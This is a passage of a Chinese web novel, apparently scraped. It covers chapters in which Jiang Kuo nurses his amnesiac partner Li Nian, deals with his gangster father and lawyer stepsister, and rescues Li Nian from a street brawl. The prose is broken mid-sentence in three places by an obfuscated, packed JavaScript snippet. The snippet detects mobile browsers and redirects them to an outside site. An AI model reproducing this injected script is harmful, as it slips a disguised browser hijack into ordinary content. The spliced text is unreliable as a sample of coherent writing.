“看看这个是什么?”江扩拿了只扁扁的小黄鸭子放在水盆里。 “开水烫过的鸭。”黎念嘴欠道。 “其实是放肥皂的。”江扩捡了块形状奇特的肥皂放在鸭子上。 “幼稚,”黎念嘁了一声,“哪个傻逼买的?” “你买的。”江扩邪魅一笑。 黎念嘴角一抽搐,板着脸不说话了。 江扩弄了以前黎念用的毛巾打湿,拧干水分后开始给黎念擦身体。 “这块布太老了。”黎念推开。 “你的毛巾,你嫌什么。”江扩不耐烦,抓住黎念的手臂一通擦拭。 黎念这个老弱病残拗不过江扩,只好乖乖任江扩摆布。 毛巾滑至腰际的时候,江扩的两只手直犯哆嗦。黎念的耳廓肉眼可见的泛红。 黎念偏头咳了几声,江扩猛然缩回手。 “我换水去。”江扩转身背对着黎念,以防被黎念看见自己的反应。 开了花洒,浴室内水雾缭绕。 黎念看了看旁边盖着一层白雾的小破镜子,伸手偷偷在镜子上写了三个字。 “填词佬。”黎念偷笑。 江扩冷静下来之后,拿起拧干的毛巾朝黎念走去,直击腰间认真擦拭。 他敢发誓他真是跟对待工作一样对待这次擦身子,然而他发现黎念似乎也有一些小小的反常。 “你在想什么?”江扩随口问。 “呃,我,我,”黎念伸出一根食指,“哦,我想起一,一首歌。” “什么歌?”江扩一边擦一边问。 “呃...”黎念脑子里突然间响起这一首。 “为何我数着十年前的聚,苦过廿四岁的孤泪。”黎念自顾自唱道。 江扩紧捏着湿布,瞳孔地震。 “为何写着你名姓的掌纹,斩不破这座湾的雪水。”黎念还在唱。 “这是什么歌?”黎念疑惑抬头,正好撞见江扩脸上两行孤泪。 “你哭什么啫?填词佬...”黎念没来得及嘲笑完,江扩攥住黎念后脑勺一撮卷发,将双唇凑了上去。 黎念瞪大双眼,本能的想反抗。 江扩伸出拇指撬开黎念的牙关,舌尖长驱直入。 “唔...”黎念哽咽。 60. 第 60 章 江扩肆意亲吻黎念的同时,一只手不小心按在黎念左手的绷带上,渗出点血。 “疼。”黎念在江扩的舌尖上口齿不清的说。 江扩收回吻,依旧是两行老泪面朝黎念。 “对不起,对不起。”江扩单膝下跪,抓住黎念流血的手。 “给我起身!这踏马折寿!”黎念一脸惊恐往后缩了缩,脑里快速运转要怎么挣脱。 “疼不疼啊?”江扩拿起黎念的手,用手上的血色绷带擦拭自己脸上的泪水,突然用潮汕话心疼地念了一句,“惨住着啊。(潮汕话,意思为太惨了啊)” “你...”黎念话未毕,江扩又把双唇迎了上去,隔着绷带温柔亲吻手上伤口,睫毛剧烈颤-抖。 “待会给你擦双氧水,好不好。”江扩抬头。 “我不要。”黎念皱眉。 “那你要什么。”江扩放下手。 “不要亲手,”黎念憋得脸色通红,“亲,亲嘴。” “你嘴上有伤,不亲。”江扩欲擒故纵。 “你丫的。”黎念骂了一声,用半残废的双手将江扩一把拽过来,肆意亲吻。 很熟悉的感觉,又不知道熟悉在哪。 “有一个很好玩的,”江扩将两唇微微分开,舔了舔嘴唇上残留的唾液丝,“你还没失忆那会,天天缠着我玩的一个游戏,要不要玩玩?” “你的手咋这么冷呢。”黎念低头自语道。 “喂,听见没有?”江扩追问。 “什,什么游戏?”黎念总有预感被这填词佬骗了。 “你等等。”江扩终于按耐不住,起身关上浴室的门自己跑去房间找东西。 黎念还没发现事情的严重性,直到江扩拿了东西进来。 “淫贼。”黎念骂道,江扩捉贼似的反身把黎念按在墙上。 大福在笼里不知睡了多久,也没去注意厕所两位主人打架和其中一个咒骂求饶的声音。 “我憎死你。”完事后江扩开了浴室的窗户抽烟,黎念半坐半蹲,屁-股始终不敢坐到椅子上。 “好好好。”江扩倚在窗边,眼带笑意看了黎念一眼。 “我要告你,你虐待病人。”黎念不小心碰到椅子,下意识“嘶”了一声。 黎念说到“告”的时候,江扩脑里又闪过那个好继妹,人称公正公平以和为贵的江律师。 “你想干嘛?”黎念见江扩脸色不对劲,心中脑补了江扩为保住自己名声把他噶了毁尸灭迹的画面。 江扩又收起怒意,转为微笑看着黎念。黎念对着江扩的脸毛骨悚然。 “没有啊,”江扩贱兮兮道,“还想告?刚刚是谁说喜欢喜欢还要还要的?” “滚啊!”黎念捡了块肥皂扔向江扩。 晚上江扩趴在书桌写稿,黎念又打开电视随便看看。 “本台消息,大哥荣因法律证据不足当庭释放,真系全港至大遗憾,作为大哥荣的辩护律师,江律师拒绝...”记者报道。 “黑大佬横行喔,唔系话十几年前全港扫黑咩。”黎念啧啧称奇。 江扩听到这,差点把手中的笔也直接掰着。啪的一声站起来了很快啊,便冲向客厅黑着脸关了黎念的电视。 “不许看。”江扩顺便拔了电视插头。 “你有病啊?”黎念骂骂咧咧拿起手机,想着刷刷短视频。 “哈,各位friend,我现在就在呢个court的门前,这个时候估计大哥荣即刻出现,传言十几年前杀死过某国白-粉集团老板的大哥荣,今天估计难逃法网!传说......”一个自媒体港人讲得绘声绘色。 “给我关。”江扩愈发烦躁。 “哦。”黎念当了回缩头乌龟,乖乖地熄了手机屏幕。 “那我要干嘛。”黎念对着黑屏的电视发呆。 “想不想看看你以前写的书?”江扩把几本出版过的繁体小说拿出来,“都是你写的,你的书粉现在都在催更呢。” “不看。”黎念总觉得这个大哥荣跟江扩的关系蹊跷。 “没事,等你想写再写,”江扩叹了口气,“你出版社都在催稿了,可别违约,到时候赔偿金...” “都说了,不要逼我做不喜欢的事!我最憎了!”黎念愠道。 “可你以前很喜欢写小说。”江扩说。 “我不知道什么以不以前,反正我现在不喜欢。”黎念不耐烦了。 “好好好,你自便。”江扩进了房间。 黎念偷偷拿起手机,趁江扩埋头填词溜进浴室锁上门。用半残废的手点击通讯录,找到黎徊的电话。 黎徊这会在时代广场买衣服,给黎念挑了件像样的白衬衫。 黎念打了很久,黎徊才后知后觉发现手机在衣兜里振动,拿起一接。 “喂?”黎念说,“黎小姐是吗?” “踏马你姐!”黎徊骂道,“还天天黎小姐黎小姐。” “我有个问题。”黎念开门见山。 “你在哪?”黎徊说。 “我在gay吧打架,现在在填词佬这里养伤。”黎念回答。 “我都不知道怎么说你,”黎徊继续骂,“天天说那个姓江的是神经病,现在有伤又去打扰人家...伤怎么样?报警没有?” “不想报警。”黎念垂眸。 “随便你。”黎徊嗤了一声。 “我想问,新闻上的大哥荣是谁?”黎念小心翼翼看了一眼浴室门口。 “哦,”黎徊说,“大哥荣,江广荣啊,江扩他亲爸嘛,我还以为你想问啥呢。” 黎念顿时五雷轰顶。 大名鼎鼎的黑大佬,是江扩爸?那江扩生气,是因为新闻看到他爸被抓了,在生那些破案人的气?! 不对劲不对劲,这样一说,江扩是黑大佬的儿子,那江扩表面是填词佬的身份,背地里不会跟他爸一起经营黑生意吧?! 黎念此刻真想拔腿就跑。 难怪江扩身手敏捷,连个肥皂都躲得过,还那么会处理伤口。 不妙不妙。 “你在里面干什么?”江扩敲门。 黎念吓得汗毛竖起,猛地挂断手机。 “我在,在上厕所。”黎念哆哆嗦嗦。 “快点,给你处理手上的伤口。”江扩拿出双氧水在门外晃了晃。 “哦,好。”黎念假装冲水,蹑手蹑脚开了门。 “快点。”江扩粗暴的抓住黎念的腰,横着抱起来。 黎念下意识勾住江扩的肩膀,脸红后又不好意思放开。 “你在打电话?打给谁?”江扩随口问。 “黎,黎小姐。”黎念支支吾吾回答。 “说啥?”江扩放下人,拧开双氧水的盖子,像在示- ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722040|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 威。 “报平安。”黎念故作镇定,偷偷咽了咽唾液。 “那可真是好弟弟,”江扩拿出两根棉签,“唉,你姐喂你吃一个月的发霉蚝油,我就只能喂你双氧水,啧。” “这玩意儿能喝吗?”黎念几声干笑。 “当然可以,给胃消毒嘛,”江扩索性开启玩笑,“张嘴。” 我草,杀人灭口! “你要毒死我。”黎念吓哭了。 “毒个屁,”江扩骂骂咧咧,“老子要毒死你早毒了,忍这十几年干什么?伸手!” 黎念听成“我早就要毒死你了”,鼻涕先比眼泪跑出来。 “不要毒死我。”黎念红着眼角哀求。 江扩心软了。 “好好好,不毒,你手伸出来。给你消毒。”江扩伸出棉签。 黎念哭哭啼啼的伸出两只受伤的手,盯着蹲在面前给他消毒的黑二代。 这么认真,这么温柔,这么小心翼翼,一点都不像黑二代。 “你爸是谁?”黎念试探道。 “电视上面那个被告的混蛋。”江扩垂眸,“忘了吧?之前你还请他吃过饭。” “我们现在几乎不见面,他做他的亏心事,我走我的阳关道,”江扩说,“我早就没想认他。” 黎念听得出神。 “你没跟他一起吧?”黎念问。 “跟个屁,我躲他都来不及,”江扩折断脏了的棉签,又重新拿了两根,“之前隔三岔五找我借钱,神经病,狗都不借,要借找他那帮好兄弟借去。” “你是狗吗?”黎念听笑了。 江扩二话不说,抬手就给黎念的额头一巴掌。 “闭嘴。”江扩黑着脸给黎念的手重新缠上绷带。 “我还以为,”黎念低头看了一眼江扩,索性一股脑说出来,“我还以为你在生那些告你爸的人的气,还以为你要去报复他们了。我还以为你发现我知道你的身份,要喂我喝双氧水毒死我。” “喝吧。”江扩把双氧水举过头顶赐给黎念。 “滚!”黎念推开。 江扩笑了笑没说话,拿着浸了双氧水的棉签在黎念太阳穴的伤口上擦拭。 “疼...”黎念呜咽。 “你知道我为什么生气吗?”江扩擦着。 “不知道。”黎念郁闷。 “因为给他做辩护的律师,是我继妹,也是他另一个女儿,”江扩抬头,“也是你当年同班同学。” 黎念没有印象,只能像个局外人听故事。 “然后呢?”黎念说。 “她当年跟个假小子似的,天天和古惑仔混在一起,”江扩擦着,“后来考上港大法学系,整个人正经多了,我以为她终于学好了,没想到她学法律是想帮他爸摆脱法网,还当了大哥荣的专属律师,我好不容易才肯认的妹妹,原来也无法信任。” “其实这个世界上不管哪种职业,都有他的阴暗面。”黎念说。 “我都知道,只是我忍受不了。”江扩说。 直至现在江扩还是没能摆脱他爸当年将他强行绑来香港的阴影,他恨死他爸。 “记住,大哥荣这个人极其危险,遇见一定要躲开,”江扩贴在黎念耳旁说,“很多年前我跟你说过不止一次,但你估计全忘了,我只能再提醒一次。” “哦。”黎念皱着眉有点懵。 61. 第 61 章 隔天江扩依旧寸步不出,守在家里看住黎念。 好不容易搬回来还因为去gay吧被打伤的失忆男友,他怎么可能跟以前一样放心出门。 “你能走一会吗?”黎念背对着江扩嘀咕,“不知道怎么回事,我看见你就烦。” “不走,”江扩说,“要是我走了家里又让偷一次呢?” “我不去酒吧了。”黎念蜷在床上说。 “不走,今天没事。”江扩说。 “嘁。”黎念拉上被子。 黎念蒙住自己后,江扩在网上买的无线打印机终于到了,速递员给江扩发了消息。 家里这个破打印机早就该换了,上次打印歌词墨盒跟吐血似的弄得满纸黑色墨迹。 抱着打印机回来,江扩搬走那只破打印机,换上新的无线。 “这个怎么搞呢?”江扩放了A4纸,对上面一堆没有文字的按钮发呆。 索性随便按了一颗。 “呲,呲呲呲......”打印机发出难听的声音。 黎念这会并没睡过去,听见噪音猝然睁眼。一声极其不耐烦的叹息声从鼻腔喷出。 “吵死了。”黎念翻了个身。 “Sorry。”江扩瞬间拔了插头。 一张纸打印一半,是全英文的无线打印机说明书,另一半是空白的。 “一半就一半吧。”江扩抽出半张说明书来看。 过了一遍之后,黎念已经熟睡,江扩也大概弄得清楚二分之一的打印机按钮的作用。 可惜还没打印出来无线怎么连,电就拔掉了,导致另一半是空白的。 中午吃饭,黎念心血来潮偷了江扩的钱包到楼下买可乐,顺便给江扩捎了一杯冻柠茶。 “喝。”黎念把一杯冻柠茶放到江扩面前。 “自己没钱吗?”江扩抢过钱包数了数,还好只丢了五十港蚊。 “有,”黎念坐到江扩面前,“但我就是喜欢偷偷摸摸。” “痴线。”江扩把一碗米饭几乎扔到黎念面前。 “可乐喝少一点,小心胃病啊。”江扩瞥了瞥可乐。 “病你个肺。”黎念赌气喝下半瓶可乐。 江扩拿起冻柠茶跟黎念的可乐碰了一下杯,也咕咚咕咚喝下几大口。 埋头吃饭间,江扩越来越觉得自己肚子不对劲。 “你这冻柠茶哪买的?”江扩问。 “对面七仔隔壁餐馆,你说难吃的那家。”黎念继续用半残废的手干饭。 “死火了。”江扩脸色一变,不对劲已经转变成由上腹到下腹隐隐作痛。 “咩啊?”黎念呆呆问。 忍了好久没忍住,江扩倏地起身,吃一半跑进厕所蹲坑。 “吃一半屙屎,都不知道你像谁。”黎念嘲讽几声,继续吃。 “还不知道谁买的过期冻柠茶!害得我拉稀拉成这样!”江扩的怒吼声从厕所的塑料拉门传出。 以前黎念会一脸心疼给江扩拿药,不像这般还幸灾乐祸。 看来人一失忆,连自己的好也忘了。 “喂,用不用吃药?”黎念在外面问。 “不用,喝多点冻柠茶就好了。”江扩阴阳怪气道。 过了一会,黎念过来敲门。 “干嘛?”江扩不耐烦道。 “有东西拿给你。”外面黎念说。 江扩还以为黎念开智了,这么贴心给他拿药。笑眯眯拉开门,只看到黎念手中刺痛双眼的冻柠茶。 “滚。”江扩拉上门。 听见黎念跂拖鞋的脚步声和嘲讽的笑声,江扩越来越恼火。 偏偏这时又来了个江扩最不想见的不速之客。 黎念刚坐回饭桌,门铃就响了。大福倏地从狗笼爬起来,对着门呲牙咧嘴。 “汪汪汪,汪汪。”大福冲门外边发出警告。 “癫狗。”黎念无视狗的警告,走过去开门。 门口站着一位长直发雾面红唇,圆框眼镜西装革履,看起来仪表堂堂的女人。颈部的祖母绿水晶项链熠熠发光。 “你边位啊?”黎念问。 “哇,黎念,你怎么缠这么多绷带?”江收啧了几声,“想不到你失忆是真的,神奇神奇。” 此人面熟,黎念不脸盲,很快就想起是昨天电视新闻里帮黑大佬辩护的律师。 以及是江扩昨天晚上所说的继妹。 “干什么?”黎念问。 “这不来看看你们还有大福嘛,好久没来了,”江收拎起一个布袋,“你看,给你们买的礼物,还有大福的狗狗零食。” 黎念心想这律师也没江扩口中那么坏,便推开门给她让了条道。 “谁啊?”江扩问黎念。 “呃,”黎念说,“你姐。” “姐个屁,我哪来的姐?”江扩才感觉不对劲。 “哦,妹。”黎念改口道。 “哥。”江收把礼物放到饭桌上,收起刚刚的笑容。 江扩猛地攥紧拳头。 “滚,”江扩闷闷的声音从厕所出来,“别逼我揍你。” “我来解个释。”江收说。 “解释个屁!”江扩解决完按了冲水,一边骂骂咧咧道,“那新闻说的还能假?昨天你不也承认了?给我滚出去。” “你先出来。”江收叹了口气。 “我现在不想看见你。”江扩说。 “那你就搁厕所躲一辈子吧。”江收干脆脱了高跟鞋,蹲到狗笼前逗大福。 江扩也站到厕所窗边点了根白万宝路。 “放它出来玩玩。”江收笑嘻嘻正想拉开狗笼。 “别!”黎念后退到厨房,“救命啊!大哥!” 黎念回过神发现自己喊了什么的时候,江扩已经掐灭烟撒腿拉开厕所门冲出来。 “我来!”江扩气势汹汹的模样又把黎念吓后几步。 “不要过来啊啊啊啊啊啊啊!”黎念眼角吼红了。 江扩刹在原地,隔在两人中间。 “江收,”江扩眯眼望向江收,“你对他做了什么?” “没有啊,我只是想放它出来。”江收怔了怔。 “你敢放!”江扩把黎念挡在后面。 “放一下咋了,”江收说,“一直关着也不是办法,就放它自由一点不好吗?” “放不放是我的事。”江扩冷冷道。 “哦,我知道了,”江收往前一步,“你是不是怕它让别的狗给泡了?” “对。”江扩回头瞪了一眼黎念。 “怎么可能?再说不是绝育了吗?”江收此刻怀疑她哥跟黎念一起不正常了。 “你说什么?绝育?”江扩也愣了。 江收蹲回到狗笼面前,一只手钻进缝里去摸大福的脑袋。 “对啊,不是三年前就带去绝育了吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722041|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”江收说。 首先反应过来的是黎念,小心翼翼地戳了戳江扩的胳膊。 “干嘛?”江扩皱眉。 “她好像在说那只狗。”黎念犹豫片刻,道。 “我知道,”江扩回答,“但是她估计对你也有图谋不轨的想法。” “能有什么图谋不轨的想法?”江收叹了口气,“哥,我好歹也是看着你俩长大的。” “你踏马看谁俩长大呢?”江扩气笑了,回头去问黎念,“那你刚刚又喊什么?” “我怕它,”黎念指了指狗笼里的白色团子,又指了指江收,“但是她要放狗出来。” ...... 仨人沉默良久,整个屋子弥漫着尴尬的气氛。 “能坐吗?”江收先开口了。 “坐。”江扩极不情愿朝沙发示意。 三人坐到沙发,江扩对江收的火药味还在呲呲作响。 江扩紧瞪江收,江收毫不示弱的跟她哥对视。 直到他旁边的黎念发出噗嗤一声笑。 “你笑什么?”江扩转头看黎念,竟不知怎么回事也跟着哑然失笑。 “我,和狗,”黎念捂着肚子,笑出一个鼻涕泡,“要做绝育。” “哈哈哈哈......”江收仰天长笑。 此刻江广荣送给江收的监听器项链,正在传送声音。 “大佬(老大),”一个手下对抽着雪茄的江广荣说,“江律师有情况。” “咩情况?”江广荣皱着眉过去听,只听取一片杂乱无章不知道谁跟谁的笑声,貌似在疯人院。 “这就是你说的情况?”江广荣咬着牙扇了手下一耳光。 笑劲过后,火药味才减轻一点。 “说吧,怎么解释。”江扩仰起下巴。 “我以前是真没想过帮我爸。”江收扶了扶眼镜。 “那你解释一下,新闻怎么回事?”江扩语气冷冽。 “新闻是真,”江收顿了几秒,“但也不是全真。” “这次案子有点严重,爸请我帮忙解决,”江收说,“我本想拒绝,但是最近我资金紧缺,而且我爸出了一百万港蚊,任谁都会心动吧。但我说只帮一次,以后不会再插手。” 江广荣听见之后一声冷笑。 他把这条戴有监听器的项链亲手戴在女儿身上,就是为了抓到女儿的把柄。 香港虽也是个法治社会,但法律再怎么严谨也有漏洞。这么好的一个女儿,G大法学院毕业的高材生律师,不捆在身边当法律顾问未免也太可惜。 “只帮一次?”江扩眯眼。 “真只帮这一次,我发誓。”江收信誓旦旦道。 “我再信你。”江扩叹息一声。 氛围终于轻松,黎念紧绷的神经终于松弛下来,瘫在沙发长舒一口气。 “我今天来,还有一件事。”江收说罢,从袋里拿出两个透明的服装袋。 里面有两套破旧的校服,一套质感高级,还看得清上面的纹路;一套破旧简陋,褪了颜色。 “这套贵族学校校服是我的,和当年黎大福的校服一样,毕竟我们同班;”江收说,“另一套是哥你的,当年你说要扔掉,不知道为什么在我这收起来了。” “校服?”江扩眼前一亮。 “对,”江收扶了扶眼镜,“听说黎念记忆缺失,我想着这两套校服可以让他想起一些事情。” 62. 第 62 章 中学毕业后江扩又长高了几厘米,这身校服一看就不搭了。 更别说黎念,当年读中学刚当移民佬那时,也才一米七多,对当时的江扩来说就是个小弟弟,这套校服还是江收的,黎念连套个衣袖都紧得慌。 “我不干了。”黎念缩回手一脸愁容望着两人。 “我帮你。”江扩打死都要看看黎念穿校服的样子,上去帮黎念穿西装校服。 “呃,要不你里面脱一件?”江收提议。 “好主意。”黎念把西装校服扔沙发上,伸手便想要解下第一颗纽扣,这是他身上唯一一件纽扣厚棉质睡衣。 “不行!”江扩猛地抬手挡住黎念紧致白皙的胸脯。 “我偏要。”黎念说。 江收似笑非笑看着两人。 “进房间换!”江扩喝道。 黎念拿起西装校服,骂骂咧咧进了卧室砸上门。 换衣的间隙,江扩坐到沙发点了根万宝路。 “给我一根。”江收摊出一只手。 “你一高级律师,还抽烟呢。”江扩阴阳怪气道。 “法律没有规定律师不可以抽烟。”江收歪起脖子,活像多年前那个假小子江收。 “你不像个律师,”江扩用半信半疑的眼神跟江扩对视,“倒像个穿着律师工作服的女小混混。” “说白了就是还不信我。”江收毫不退缩,抢过烟叼着,一边接受江扩目光的考验。 黎念出来的时候,两个人都叼着烟已经不知用一个姿势互看多久了,周围烟雾缭绕。 “你们。”黎念站在门口眨眨眼。 江扩这才站起来,拿起自己的校服往卧室走去。 “小心我妹,”江扩像是故意说给江收听,“她要是对你干了什么,你直接喊救命。” “痴线。”江收掐灭烟骂道。 她确实干了一点点亏心事,但远远比不上她爸那堆烂事儿。至少她还没背过人命。 不久江扩穿着自己的校服出来,站在穿着滑稽小号西装校服的黎念身边。 有那味了。 “叫声大哥听听。”江扩轻轻撞了撞黎念的胳膊。 “滚。”黎念翻了个白眼。 “刚不是还叫过?”江扩揶揄道。 “我什么时候叫你大哥?你想咩春啊?”黎念骂道。 江收摇了摇头。 “我走了,校服你们留着,说不定还有用。”江收说。 “大佬,江律师要走了!”一个手下在那边对江广荣说。 “没有什么线索?”江广荣说罢,心想至少知道江扩的住址。 “对,江扩那边还是在照顾这个半残废的,没有一点用处。”手下讽刺。 江广荣下意识又挥手扇了手下一巴掌。 “他是我儿子,轮到你来骂?”江广荣叼着雪茄冷冷道,“下次送他一根项链。” “收到。”手下鞠躬。 晚上下起了倾盆暴雨,黎念缩在床头整个人大脑空白,江扩在旁边处理唱片公司最近的歌手比赛预报名。 突然收来一条邮件。 由于出版社找不到黎念,号码都打不通了,加上黎念压根不想理whatsapp上面陌生的联系人,从黎念车祸到现在就没联系过。 邮件正文能有一千字,但内容只围绕一个主题,“黎小福小说突然停更,即刻违约,赔钱赔钱”。 江扩更头疼了,对着消息一声不吭。 黎念要是再不写,估计违约金得赔个几十万。毕竟当时黎小福每一本小说他们都是卖力投资,而每一本上市了也是不负众望的成了畅销书。 江扩搜了一下黎小福小说的论坛,依旧有人画里面主角的同人漫画,但也开始有人抱怨断更停更和质量变差。 黎念这会轻度焦虑发作,正靠在床头忍着心悸。 他始终想不明白为什么别人都想的起十几年前的事情,还能栩栩如生道来,而自己连爸妈是谁都不记得了,只有一些零碎的记忆偶尔浮现又马上消失。 他甚至怀疑他不是人,记忆都被出厂设置了。 但他又是怎么活到现在的? 白天他换上校服的时候,脑里也浮现过一段模糊的记忆——他穿着西装校服,身材弱小,正在街头被古惑仔围殴。 后来跑过来一个黑影,似乎是来救他。 但他能肯定那个人不是这个叫江扩的男人,直觉告诉他的。 “黎念,”江扩转过身,“跟你商量件事。” “什么事?”黎念问。 “你继续写小说,我一个星期给你喝三瓶可乐。”江扩乞求般地舔了舔嘴唇。 “不写,”黎念板着脸爬起来,“我自己不会买吗?” 说罢黎念便要跂着拖鞋下床。 “你去哪?”江扩问。 “买可乐。”黎念走出房间。 “下暴雨你买可乐?”江扩撒腿便冲过去,“不许去,危险。” “这有伞,”黎念愈发暴躁,一手推开江扩,“别管我,管好你自己。” 拎着黑色折叠伞走远后,江扩看着黎念的背影气得说不出一句话。 黎念撑着伞,对面有家seven仔,百分之百是有可乐的。但他就想走远点买,顺便散一下步。 如果记忆再不恢复,他或许会像个空心人活一辈子。 想到这,黎念的呼吸又变得急促,心跳加快。只有清冷的雨滴偶尔溅到脸上,刺骨的寒意才能让他有些许清醒。 走了一段路,黎念进了另外一家seven仔,买了四瓶玻璃瓶装可乐装在袋里。 附近有一家中学,教学楼上面的十字架神圣端庄。 黎念想起今天的校服,干脆绕过去看看那座学校。 好巧不巧,经过街角的时候刚想在橙色垃圾桶旁边点根叫白万宝路的烟抽,便远远看到学校对面的街上有几个校服的混混冒着暴雨在欺负一位少年。 混混的校服熟悉又刺眼,跟江扩那套很像。 “喂,你大佬系边度啊(你老大在哪里啊)?”一个混混叼着浸湿的烟,冲水滩上驴打滚的少年踢了一脚。 “我大佬,我大佬...”被殴打的少年哽咽。 “我告诉你,这个地方,这个时间,你别想叫差人。”另外一个混混说。 “我顶你个肺。”少年憋了好久才骂道。 黎念站在远处黑暗角落偷观望。 “打死他!”领头的校服混混大吼一声,几人又一次一拥而上。 黎念看不下去了,把烟头准确吐进橙色垃圾桶,撑着一把黑伞在大雨滂沱中漫步过去。 “喂!”黎念说罢,又扔下雨伞。 所有人的目光刷刷看来,只见一位看起来大他们不少的男人,半长的头发尽湿透,雨水汇在发丝滴落,气势汹汹却又走两步喘几下粗气,双手额头均有伤。脚上的炫酷黑靴踩着雨水滩,溅起一阵一阵的水花。 雨越下越大,远处的叮叮车还在照常运行,时不时传来到站的叮叮声。 “你边位啊?”一个校服混混推开少年,团团围住黎念,仰头紧瞪这个多管闲事的男人。 黎念面对一堆小屁孩的眼光,忍不住噗嗤一声。 “你还笑?”一个混混啐了一口,“知道我老大是谁吗?” “我不知道你们老大是谁,”黎念说,“但只要你们不是老大,就不够我打的。” “喂!哥哥!”少年从地上爬起来,头上的血和背后教学楼顶楼的红漆十字架一个颜色,“别惹他们了,我给钱就是了,我这包里还有......” “有五百蚊啊!”少年从包里颤颤巍巍掏出三百港币在空中晃了晃。 所有校服混混像鱼见到钩上的蚯蚓似的冲过去抢。 “别给他们,”黎念摇头,“给了他们,你一辈子就输了。” 少年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722042|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 犹豫了。 “你应该打,”黎念吼道,“只要反抗,他们才知道你不好欺负,不管打到最后谁的血最多,只要拼出血,他们就会害怕。” 少年眨了眨眼,又往后退了几步,用颤颤巍巍的手将钱塞回书包。 “冚家铲!”几个混混兵分两路,两个去解决少年,三个来解决黎念。 然而那位少年活动活动筋骨,竟在五分钟内胡乱踢中两个混混的命门,又几拳乱抡将俩人打趴在地。 黎念这边刚好用可乐瓶当武器,一个人头送一瓶,也是用不知名的招数把几人干趴。 趁几人倒地哀嚎,少年趔趔趄趄走过来,站到黎念面前,仰起头看着黎念。 黎念看见少年鼻孔流出的两行血,又是一阵头晕。 “哥哥,多谢你。”少年抱着书包鞠躬。 “别,走远点。”黎念捂着额头摆手。 “哦。”少年以为是自己身上太脏遭人嫌,只好悻悻然往后退了几步。 没想到地上那些混混在经过撕心裂肺的疼痛后,又纷纷从地上站起来,对着两人摩拳擦掌。 “诶,你。”黎念转头去唤少年,不料那少年已经撒腿跑出十几米远。 “喂!”黎念急得跺脚。 “你叫我走的!”声音回荡街头,不到几秒人就没了影。 “冚家铲。”黎念指着少年的背影骂骂咧咧。 六位混混还在摩拳擦掌,黎念拿出电话想叫人。想不出叫谁。 黎小姐那个黑包杀伤力很强,但现在人在铜锣湾,赶来已经不够给他收尸。江扩的手机号码他想不起来,但whatsapp有他的号,但貌似之前被他拉黑了。 还没想清楚怎么搬救兵,那边六位小混混开始复仇行动。 几拳结结实实砸过来的时候,黎念完全没想清楚怎么避。鼻孔的血不受控制地从鼻孔窜出来,嘴里满是铁锈味。这下头更晕了。 心跳终于从七八十飙到一分钟一百三十多。 焦虑发作之后,黎念彻底失去反抗能力,连一丝力气都使不上来。 这一生咋就这么倒霉呢。 “把他拉过来。”领头的说。 几人把软绵绵的黎念拖到面前。 “刚刚怎么搞你们的,你们就怎么搞回去。”领头说。 “哦。”一个校服古惑仔举起啤酒瓶,紧闭双眼朝黎念的头砸过去。 一声脆响,啤酒瓶碎成玻璃碎片,划破香港中环的夜空,也划开黎念一丝破碎记忆。 “啊。”黎念脑壳涨疼,泪水不停从眼里涌出来。 “轮到你。”一个古惑仔示意。 “大哥啊!!!!!!!!!”黎念对着中环的夜空撕心裂肺吼道,一道血流过左眼,迫使他半眯着一只眼,模样滑稽。 “哇,仲有大佬喔。”几人笑道。 江扩刚从seven仔出来,便听见附近街道熟悉的呼唤划破天际。 赶到的时候,黎念头顶刚好被人砸了两个啤酒瓶。 “喂!”江扩扔下伞,一手压低黑色鸭舌帽猛冲过来。 途中还操起街边的路障,边走边砸。刚好六个路障,一砸一个准。 黎念没睁眼,只听见周围几声带着港式粗口的惨叫,貌似被什么重物砸了。 “哪个学校的?”江扩颈部吼出青筋,“谁教你们这么打人的?信不信我直接报警,让你们一辈子在香港活不下去!” 见形式不对,六个还没断奶的古惑仔撒腿就跑,在学校的转角消失不见。 “大哥。”黎念喃喃念道。 “我在。”江扩把说胡话的黎念扶起来,靠在肩膊。 “我,我想起来了。”黎念说。 “想起来什么!”江扩激动得手一颤,让黎念枕住的手臂不小心吓软了。 死火了。 黎念的脑袋往后一仰,磕在街头的铁栏杆上,彻底失去意识。 63. 第 63 章 白车来到现场的时候,黎念的身体在发烫。 为了不让黎念再淋到雨,江扩把位子挪到屋檐下,一脸恍惚看着倒在地上横七竖八的路障。 白车来的时候,警车也到了。 按理说这几个矮半截的毛头小子黎念一人就能搞定,却被砸了这么多啤酒瓶都没反抗。没猜错一定是又惊恐发作了。 “黎念。”江扩垂眸碰了碰黎念的鼻尖。 黎念紧闭双眼,没有任何回应。 “你想起什么了?”江扩刘海上几滴水滴到黎念额头。 黎念还是没有反应。 